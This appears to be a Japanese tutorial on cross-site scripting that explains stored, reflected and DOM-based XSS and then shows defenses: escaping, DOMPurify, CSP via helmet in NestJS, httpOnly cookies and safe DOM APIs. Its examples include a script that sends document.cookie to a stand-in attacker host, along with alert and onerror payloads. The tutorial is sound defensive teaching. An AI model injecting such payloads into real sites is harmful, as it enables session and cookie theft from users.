XSS（クロスサイトスクリプティング）の基礎と対策

1. 攻撃者がコメント欄に <script>document.cookie を送信するコード</script> を投稿
2. サーバーがそのまま文字列をDBに保存
3. 他ユーザーがページを開く
4. ブラウザがスクリプトをHTMLとして解釈し実行
5. Cookieが攻撃者のサーバーに送信される

<!-- 攻撃者が投稿したコメント -->
こんにちは！<script>
  fetch('https://attacker.example.com/steal?c=' + document.cookie);
</script>

<!-- サーバーがエスケープせずに出力すると -->
<p>こんにちは！<script>
  fetch('https://attacker.example.com/steal?c=' + document.cookie);
</script></p>

1. 攻撃者が /search?q=<script>...</script> というURLを作成・配布
2. 被害者がそのリンクをクリック
3. サーバーが q の値をエスケープせずにHTMLに埋め込んで返す
4. ブラウザがスクリプトを実行

<!-- URL: /search?q=<script>alert('XSS')</script> -->

<!-- サーバー側のテンプレートが以下を出力してしまう -->
<p>「<script>alert('XSS')</script>」の検索結果</p>

<!-- 脆弱なコード例 -->
<script>
  // URLのハッシュをそのままDOMに書き込んでいる
  const name = location.hash.slice(1);
  document.getElementById('greeting').innerHTML = 'こんにちは、' + name;
</script>

<!-- URL: https://example.com/page#<img src=x onerror=alert(1)> -->
<!-- → onerror イベントが発火してスクリプトが実行される -->

// 危険な実装（エスケープなし）
res.send(`<p>ようこそ、${username}さん</p>`);

// 安全な実装（エスケープあり）
function escapeHtml(str: string): string {
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#039;');
}
res.send(`<p>ようこそ、${escapeHtml(username)}さん</p>`);

// React: JSX の {} は自動でエスケープされる（安全）
function Greeting({ name }: { name: string }) {
  return <p>ようこそ、{name}さん</p>;
  // name に <script>...</script> が入ってもテキストとして表示される
}

// ❌ 危険: dangerouslySetInnerHTML は生のHTMLを挿入する
function DangerousComponent({ html }: { html: string }) {
  return <div dangerouslySetInnerHTML={{ __html: html }} />;
  // sanitize してから使わないとXSS脆弱性になる
}

<!-- Handlebars / EJS などのテンプレートエンジン -->
<!-- ✓ 安全: {{ }} または <%= %> は自動エスケープ -->
<p>ようこそ、{{ username }}さん</p>

<!-- ❌ 危険: {{{ }}} や <%- %> は生のHTMLを出力（使用時は要注意） -->
<p>{{{ rawHtml }}}</p>

npm install dompurify
npm install --save-dev @types/dompurify

import DOMPurify from 'dompurify';

function RichTextContent({ html }: { html: string }) {
  const sanitized = DOMPurify.sanitize(html);
  // sanitize後のHTMLは <script> や onerror= などが除去されている
  return <div dangerouslySetInnerHTML={{ __html: sanitized }} />;
}

Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'

// NestJSでCSPヘッダーを設定する例（helmet を使用）
import helmet from 'helmet';

async function bootstrap() {
  const app = await NestFactory.create(AppModule);
  app.use(
    helmet.contentSecurityPolicy({
      directives: {
        defaultSrc: ["'self'"],
        scriptSrc: ["'self'"],
        styleSrc: ["'self'", "'unsafe-inline'"],
        imgSrc: ["'self'", 'data:', 'https:'],
      },
    })
  );
  await app.listen(3000);
}

// NestJSでhttpOnly CookieにJWTを保存する例
res.cookie('access_token', jwt, {
  httpOnly: true,   // JavaScriptからアクセス不可
  secure: true,     // HTTPS必須
  sameSite: 'lax',  // CSRF対策（SameSite属性）
  maxAge: 3600000,  // 1時間
});

httpOnly: true の場合
  document.cookie → '' （空 or access_token は含まれない）
  XSSでCookieを盗むfetchは失敗する

httpOnly: false の場合
  document.cookie → 'access_token=eyJhbGci...' （全Cookieが読める）
  XSSでCookieが盗まれる

// ❌ 危険: innerHTML は文字列をHTMLとして解釈する
element.innerHTML = userInput;

// ✓ 安全: textContent はHTMLとして解釈せずテキストとして挿入する
element.textContent = userInput;

// ❌ 危険: document.write も同様
document.write(userInput);

// ❌ 危険: URL系も要注意
element.setAttribute('href', userInput); // javascript: スキームが使われる可能性

// URLを属性に入れる場合は javascript: スキームを弾く
function safeSetHref(el: HTMLAnchorElement, url: string) {
  if (url.startsWith('http://') || url.startsWith('https://')) {
    el.href = url;
  }
  // javascript: で始まるURLは無視
}

npm install helmet

// main.ts
import { NestFactory } from '@nestjs/core';
import { AppModule } from './app.module';
import helmet from 'helmet';

async function bootstrap() {
  const app = await NestFactory.create(AppModule);

  // XSS・セキュリティヘッダー全般をhelmetで設定
  app.use(helmet());

  // CSPをカスタマイズする場合
  app.use(
    helmet.contentSecurityPolicy({
      directives: {
        defaultSrc: ["'self'"],
        scriptSrc: ["'self'"],
      },
    })
  );

  await app.listen(3000);
}